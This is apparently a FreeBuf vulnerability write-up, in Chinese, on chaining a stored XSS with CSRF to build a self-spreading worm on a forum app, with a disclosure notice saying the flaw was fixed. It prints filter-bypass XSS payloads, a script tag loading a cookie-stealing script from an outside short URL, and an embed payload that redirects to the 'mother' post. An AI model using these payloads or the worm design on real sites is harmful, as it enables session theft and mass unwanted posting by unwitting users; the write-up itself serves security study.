*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
*本文原创作者:莫妮卡k37,本文属于FreeBuf原创奖励计划,未经许可禁止转载
大体思路
1.在发帖的内容处发现了存储型XSS
2.对帖子(母贴)的内容进行构造,插入CSRF POC,并对其中内容输出为302永久重定向到母感染贴
3.所有浏览此页面的用户都会自动发布一个重定向到母感染贴的子贴,重定向到母贴时又再次执行母贴中的POC再次创建一个子贴。
以上就是XSS+CSRF构造蠕虫大体的思路,下面细化各个步骤的过程,水平不高,适合XSS初学者的进阶。
一、存储型XSS
1.进入发帖处,添加初步测试payload,并查看源码:
2.观察到可以大小写混淆绕过,于是构造payload(对于屏蔽括号的可以用 ’ 来代替):
<sCrIpt>alert'xss'</sCrIpt>
3.刷新页面观察效果,成功弹窗:
4.插入JS脚本,利用XSS平台窃取用户cookie,这是最常用的XSS利用手法。
POC:
<sCRiPt/SrC=//60.wf/m5VP>
SRC引用的是短地址,内容为窃取用户cookie的JS脚本,详细可以使用XSS平台自动生成:
二、XSS配合CSRF的初步测验
1.首先验证是否存在CSRF,同样在发布新贴处,填写标题内容,点击发布抓包:
2.burp自带的生成CSRF POC,POST包处-》右键-》generate csrf poc -》保存-》使用另一个账号发送POC,查看自己的帖子,发现成功发送新帖。
3.编写JS脚本(可以利用Xss’or来生成)
4.CSRF+存储型XSS将脚本插入到页面中:
如图,内容为发布新帖的JS脚本,点击发布,就生成了新帖。
5.浏览此贴,提示成功:
6.可以看到成功发布出去:
7.使用其他用户浏览帖子测试----发现同样不知觉的发了个新帖,至此,XSS+CSRF的攻击已经完成:
三、蠕虫的构造
再整理一下思路。
蠕虫的前提是子贴的内容,即点击我们母感染贴的用户所发布的子贴的内容是可控的:
1.攻击者创建一个攻击帖(母帖),贴中JS脚本包含:
①创建一个子回传帖
②子回传帖的内容是重定向到母帖
2.用户浏览母帖,然后自动创建一个子回传帖;
3.子回传帖403重定向到母帖;
4.根据内容又创建一个子回传帖;
5.用户之间互相浏览,发散,传播,不拉不拉不拉,造成蠕虫攻击。
1.任意发表新帖:
2.记录帖子的URL并点击编辑:
3.插入JS脚本,其中控制子回传贴302重定向到母贴的URL。
payload:
<embed/src=/bang.duia.com/web/normal/topic/806440>
意为在页面中插入一个新页面,这个新页面为母贴。
4.发布后浏览,已生成子回传贴:
5.打开子回传贴,发现了在母贴JS脚本中构造的框架:
6.但是在FireFox却很遗憾没有成功,打开Network发现了这样一个提示。意为无效的CORS(跨域资源共享)请求。猜测此处应该是属于白名单拦截,限制了JS的入口:
7.通过IE可以运行:
8.重点!!这些都不是最重要的,因为这是一个APP,所以用户基本上是依赖手机端来运行。之后在手机端上查看帖子成功通过子回传URL重定向到母贴并创建了一个新的子回传贴。虽然网站可能有WAF,电脑端IE可以蠕起来,但是发现,app端没有做任何防护,直接可以传播。
*本文原创作者:莫妮卡k37,本文属于FreeBuf原创奖励计划,未经许可禁止转载